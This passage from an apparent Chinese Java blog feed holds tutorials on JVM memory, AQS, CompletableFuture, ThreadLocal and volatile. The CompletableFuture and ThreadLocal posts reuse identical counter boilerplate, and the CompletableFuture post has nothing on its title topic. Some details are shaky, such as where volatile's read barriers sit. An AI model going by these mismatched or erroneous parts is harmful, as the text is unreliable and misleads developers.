class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">APP_NAME</span> <span class="operator">=</span> <span class="string">&quot;my-app&quot;</span>; <span class="comment">// 常量</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">int</span> <span class="variable">counter</span> <span class="operator">=</span> <span class="number">0</span>; <span class="comment">// 静态变量</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-程序计数器"><a href="#3-程序计数器" class="headerlink" title="3. 程序计数器"></a>3. 程序计数器</h2><p>程序计数器记录当前线程执行的字节码指令位置。</p><p>#</p><h2 id="4-Java-虚拟机栈"><a href="#4-Java-虚拟机栈" class="headerlink" title="4. Java 虚拟机栈"></a>4. Java 虚拟机栈</h2><p>每个线程都有一个虚拟机栈，用于存储方法调用的栈帧。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">StackExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        methodA(); <span class="comment">// 栈帧入栈</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">methodA</span><span class="params">()</span> &#123;</span><br><span class="line">        methodB(); <span class="comment">// 栈帧入栈</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">methodB</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 方法执行完毕，栈帧出栈</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-本地方法栈"><a href="#5-本地方法栈" class="headerlink" title="5. 本地方法栈"></a>5. 本地方法栈</h2><p>本地方法栈用于支持 native 方法的执行。</p><h2 id="常见内存问题"><a href="#常见内存问题" class="headerlink" title="常见内存问题"></a>常见内存问题</h2><p>#</p><h2 id="问题-1：堆内存溢出（OOM）"><a href="#问题-1：堆内存溢出（OOM）" class="headerlink" title="问题 1：堆内存溢出（OOM）"></a>问题 1：堆内存溢出（OOM）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 模拟堆溢出</span></span><br><span class="line">List&lt;Object&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"><span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    list.add(<span class="keyword">new</span> <span class="title class_">Object</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>排查方法</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 导出堆快照</span></span><br><span class="line">jmap -dump:format=b,file=heap.hprof &lt;pid&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用 MAT 分析堆快照</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="问题-2：栈溢出（StackOverflowError）"><a href="#问题-2：栈溢出（StackOverflowError）" class="headerlink" title="问题 2：栈溢出（StackOverflowError）"></a>问题 2：栈溢出（StackOverflowError）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 模拟栈溢出</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">StackOverflowExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">recursive</span><span class="params">()</span> &#123;</span><br><span class="line">        recursive(); <span class="comment">// 无限递归</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>排查方法</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看线程栈</span></span><br><span class="line">jstack &lt;pid&gt;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="问题-3：方法区溢出"><a href="#问题-3：方法区溢出" class="headerlink" title="问题 3：方法区溢出"></a>问题 3：方法区溢出</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 模拟方法区溢出（通过动态生成大量类）</span></span><br><span class="line"><span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="comment">// 使用 CGLIB 动态生成类</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="常用排查命令"><a href="#常用排查命令" class="headerlink" title="常用排查命令"></a>常用排查命令</h2><p>#</p><h2 id="1-jps-查看-Java-进程"><a href="#1-jps-查看-Java-进程" class="headerlink" title="1. jps - 查看 Java 进程"></a>1. jps - 查看 Java 进程</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-jstat-查看-GC-统计"><a href="#2-jstat-查看-GC-统计" class="headerlink" title="2. jstat - 查看 GC 统计"></a>2. jstat - 查看 GC 统计</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 每隔 1 秒输出一次，共输出 10 次</span></span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-jmap-查看堆内存"><a href="#3-jmap-查看堆内存" class="headerlink" title="3. jmap - 查看堆内存"></a>3. jmap - 查看堆内存</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看堆内存使用情况</span></span><br><span class="line">jmap -heap &lt;pid&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看对象统计</span></span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-jstack-查看线程栈"><a href="#4-jstack-查看线程栈" class="headerlink" title="4. jstack - 查看线程栈"></a>4. jstack - 查看线程栈</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jstack &lt;pid&gt; &gt; threads.txt</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-jinfo-查看-JVM-参数"><a href="#5-jinfo-查看-JVM-参数" class="headerlink" title="5. jinfo - 查看 JVM 参数"></a>5. jinfo - 查看 JVM 参数</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jinfo &lt;pid&gt;</span><br></pre></td></tr></table></figure><h2 id="实战案例"><a href="#实战案例" class="headerlink" title="实战案例"></a>实战案例</h2><p><strong>案例</strong>：线上服务频繁 Full GC</p><p><strong>分析步骤</strong>：</p><ol><li>使用 <code>jstat -gcutil</code> 查看 GC 频率</li><li>使用 <code>jmap -histo</code> 查看大对象</li><li>使用 <code>jstack</code> 查看线程状态</li><li>导出堆快照进行深入分析</li></ol><p><strong>解决方案</strong>：</p><ul><li>优化对象生命周期</li><li>调整 JVM 参数（如 <code>-Xmx</code>、<code>-XX:NewRatio</code>）</li><li>使用合适的垃圾收集器</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 内存结构是排查内存问题的基础。遇到问题时，不要盲目调整参数，先收集足够的信息。常用的排查工具包括 jps、jstat、jmap、jstack 等，掌握这些工具能大大提升排查效率。</p><p>写这篇文章时，我特意回顾了之前处理的几个内存问题案例。JVM 调优是个复杂的话题，需要不断实践才能掌握。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>AQS：Java 并发工具的基石，到底怎么理解？</title>
      <link href="//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/"/>
      <url>//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/</url>
      
        <content type="html"><![CDATA[<h1 id="AQS：Java-并发工具的基石，到底怎么理解？"><a href="#AQS：Java-并发工具的基石，到底怎么理解？" class="headerlink" title="AQS：Java 并发工具的基石，到底怎么理解？"></a>AQS：Java 并发工具的基石，到底怎么理解？</h1><p>在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。</p><h2 id="AQS-到底是什么？"><a href="#AQS-到底是什么？" class="headerlink" title="AQS 到底是什么？"></a>AQS 到底是什么？</h2><p>AQS 全称是 AbstractQueuedSynchronizer，是一个抽象队列同步器。它的核心思想很简单：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">abstract</span> <span class="keyword">class</span> <span class="title class_">AbstractQueuedSynchronizer</span> &#123;</span><br><span class="line">    <span class="comment">// 状态标识，由子类定义具体含义</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">int</span> state;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 等待队列（CLH 变种）</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">transient</span> <span class="keyword">volatile</span> Node head;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">transient</span> <span class="keyword">volatile</span> Node tail;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>不同的同步工具对 <code>state</code> 的解读不同：</p><ul><li><strong>ReentrantLock</strong>：state 表示重入次数</li><li><strong>Semaphore</strong>：state 表示剩余许可数</li><li><strong>CountDownLatch</strong>：state 表示剩余计数</li></ul><h2 id="核心设计思想"><a href="#核心设计思想" class="headerlink" title="核心设计思想"></a>核心设计思想</h2><p>#</p><h2 id="1-CAS-自旋"><a href="#1-CAS-自旋" class="headerlink" title="1. CAS + 自旋"></a>1. CAS + 自旋</h2><p>AQS 使用 CAS 操作来修改状态，失败时不会立即阻塞，而是自旋重试：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 获取锁的核心逻辑</span></span><br><span class="line"><span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">current</span> <span class="operator">=</span> getState();</span><br><span class="line">    <span class="keyword">if</span> (compareAndSetState(current, current + <span class="number">1</span>)) &#123;</span><br><span class="line">        <span class="comment">// 获取成功</span></span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 自旋重试或进入等待队列</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-CLH-等待队列"><a href="#2-CLH-等待队列" class="headerlink" title="2. CLH 等待队列"></a>2. CLH 等待队列</h2><p>当 CAS 失败时，线程会被包装成 Node 节点加入等待队列：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">head -&gt; Node1(Thread-1) -&gt; Node2(Thread-2) -&gt; Node3(Thread-3) -&gt; tail</span><br></pre></td></tr></table></figure><p>每个节点负责唤醒下一个节点，实现了高效的线程调度。</p><p>#</p><h2 id="3-独占-vs-共享模式"><a href="#3-独占-vs-共享模式" class="headerlink" title="3. 独占 vs 共享模式"></a>3. 独占 vs 共享模式</h2><p>AQS 支持两种模式：</p><p><strong>独占模式</strong>（如 ReentrantLock）：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">tryAcquire</span><span class="params">(<span class="type">int</span> arg)</span> &#123;</span><br><span class="line">    <span class="comment">// 只有一个线程能获取锁</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>共享模式</strong>（如 Semaphore）：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="type">int</span> <span class="title function_">tryAcquireShared</span><span class="params">(<span class="type">int</span> arg)</span> &#123;</span><br><span class="line">    <span class="comment">// 多个线程可以同时获取许可</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="一个简单的自定义同步器"><a href="#一个简单的自定义同步器" class="headerlink" title="一个简单的自定义同步器"></a>一个简单的自定义同步器</h2><p>基于 AQS 实现一个简单的不可重入锁：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SimpleLock</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Sync</span> <span class="variable">sync</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Sync</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Sync</span> <span class="keyword">extends</span> <span class="title class_">AbstractQueuedSynchronizer</span> &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">tryAcquire</span><span class="params">(<span class="type">int</span> arg)</span> &#123;</span><br><span class="line">            <span class="comment">// CAS 设置状态为 1</span></span><br><span class="line">            <span class="keyword">return</span> compareAndSetState(<span class="number">0</span>, <span class="number">1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">tryRelease</span><span class="params">(<span class="type">int</span> arg)</span> &#123;</span><br><span class="line">            <span class="comment">// 设置状态为 0</span></span><br><span class="line">            setState(<span class="number">0</span>);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">lock</span><span class="params">()</span> &#123;</span><br><span class="line">        sync.acquire(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">unlock</span><span class="params">()</span> &#123;</span><br><span class="line">        sync.release(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="AQS-的价值"><a href="#AQS-的价值" class="headerlink" title="AQS 的价值"></a>AQS 的价值</h2><p>为什么说 AQS 是并发工具的基础？</p><ol><li><strong>统一的抽象</strong>：把复杂的同步逻辑抽象出来，子类只需实现几个关键方法</li><li><strong>高性能</strong>：CAS + 自旋 + 队列，减少线程阻塞/唤醒的开销</li><li><strong>可扩展</strong>：通过继承 AQS 可以快速实现自定义同步器</li><li><strong>内置公平/非公平模式</strong>：子类可以自由选择</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AQS 的设计非常精妙，它把”等待-唤醒”这个核心模式抽象出来，让各种并发工具能专注于自己的业务语义。理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。</p><p>写这篇文章时，我特意翻了 JDK 源码，发现 Doug Lea 的代码风格真的很简洁。每一行都有其存在的意义，值得细细品味。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待</p></li><li><p>独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore</p></li><li><p>tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理</p></li><li><p>ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CompletableFuture 编排异步任务</title>
      <link href="//completablefuture-bian-pai-yi-bu-ren-wu/"/>
      <url>//completablefuture-bian-pai-yi-bu-ren-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="CompletableFuture-编排异步任务"><a href="#CompletableFuture-编排异步任务" class="headerlink" title="CompletableFuture 编排异步任务"></a>CompletableFuture 编排异步任务</h1><p>CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ThreadLocal 的使用和内存泄漏问题</title>
      <link href="//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/"/>
      <url>//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="ThreadLocal-的使用和内存泄漏问题"><a href="#ThreadLocal-的使用和内存泄漏问题" class="headerlink" title="ThreadLocal 的使用和内存泄漏问题"></a>ThreadLocal 的使用和内存泄漏问题</h1><p>ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>ThreadLocal 为每个线程提供独立的变量副本</p></li><li><p>底层使用 ThreadLocalMap 存储，key 是弱引用</p></li><li><p>内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value</p></li><li><p>解决方案：使用完毕后调用 remove() 方法</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>volatile 关键字：到底能保证什么，不能保证什么？</title>
      <link href="//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/"/>
      <url>//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="volatile-关键字：到底能保证什么，不能保证什么？"><a href="#volatile-关键字：到底能保证什么，不能保证什么？" class="headerlink" title="volatile 关键字：到底能保证什么，不能保证什么？"></a>volatile 关键字：到底能保证什么，不能保证什么？</h1><p>volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。</p><h2 id="先看一个经典的问题"><a href="#先看一个经典的问题" class="headerlink" title="先看一个经典的问题"></a>先看一个经典的问题</h2><p>假设有这样一段代码：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VolatileTest</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">boolean</span> <span class="variable">flag</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">writer</span><span class="params">()</span> &#123;</span><br><span class="line">        flag = <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">reader</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">while</span> (!flag) &#123;</span><br><span class="line">            <span class="comment">// 循环等待</span></span><br><span class="line">        &#125;</span><br><span class="line">        System.out.println(<span class="string">&quot;flag 变为 true&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果一个线程调用 writer()，另一个线程调用 reader()，reader 能退出循环吗？</p><p>答案是：<strong>能</strong>。因为 volatile 保证了可见性——writer 修改后，reader 能立即看到最新值。</p><h2 id="volatile-能保证什么？"><a href="#volatile-能保证什么？" class="headerlink" title="volatile 能保证什么？"></a>volatile 能保证什么？</h2><p>#</p><h2 id="1-可见性"><a href="#1-可见性" class="headerlink" title="1. 可见性"></a>1. 可见性</h2><p>当一个线程修改了 volatile 变量，其他线程能立即看到这个变化。这是通过<strong>内存屏障</strong>实现的：</p><ul><li>写操作后插入 <strong>StoreStore</strong> 和 <strong>StoreLoad</strong> 屏障</li><li>读操作前插入 <strong>LoadLoad</strong> 和 <strong>LoadStore</strong> 屏障</li></ul><p>#</p><h2 id="2-有序性"><a href="#2-有序性" class="headerlink" title="2. 有序性"></a>2. 有序性</h2><p>volatile 禁止指令重排序。编译器和 CPU 不能把 volatile 变量的读写操作和周围的指令重排序。</p><p>#</p><h2 id="3-不保证原子性"><a href="#3-不保证原子性" class="headerlink" title="3. 不保证原子性"></a>3. 不保证原子性</h2><p>这是最容易踩坑的地方！看这段代码：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123;</span><br><span class="line">    count++; <span class="comment">// 不是原子操作！</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>count++ 包含三个步骤：读取、加1、写入。volatile 只能保证每次读取到最新值，但不能保证这三个步骤的原子性。</p><h2 id="volatile-不能保证什么？"><a href="#volatile-不能保证什么？" class="headerlink" title="volatile 不能保证什么？"></a>volatile 不能保证什么？</h2><p>#</p><h2 id="1-不能保证复合操作的原子性"><a href="#1-不能保证复合操作的原子性" class="headerlink" title="1. 不能保证复合操作的原子性"></a>1. 不能保证复合操作的原子性</h2><p>正如上面的例子，<code>count++</code> 这种复合操作需要额外的同步机制。</p><p>#</p><h2 id="2-不能替代锁"><a href="#2-不能替代锁" class="headerlink" title="2. 不能替代锁"></a>2. 不能替代锁</h2><p>如果临界区有多行代码，volatile 无法保证这些代码的原子执行：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">int</span> <span class="variable">b</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">update</span><span class="params">()</span> &#123;</span><br><span class="line">    a++;</span><br><span class="line">    b++;</span><br><span class="line">    <span class="comment">// 两个操作之间可能被其他线程打断</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="什么时候用-volatile？"><a href="#什么时候用-volatile？" class="headerlink" title="什么时候用 volatile？"></a>什么时候用 volatile？</h2><p>根据我的经验，volatile 适合以下场景：</p><p>#</p><h2 id="场景1：状态标志"><a href="#场景1：状态标志" class="headerlink" title="场景1：状态标志"></a>场景1：状态标志</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">boolean</span> <span class="variable">running</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">while</span> (running) &#123;</span><br><span class="line">        <span class="comment">// 业务逻辑</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">stop</span><span class="params">()</span> &#123;</span><br><span class="line">    running = <span class="literal">false</span>;</span><br><span 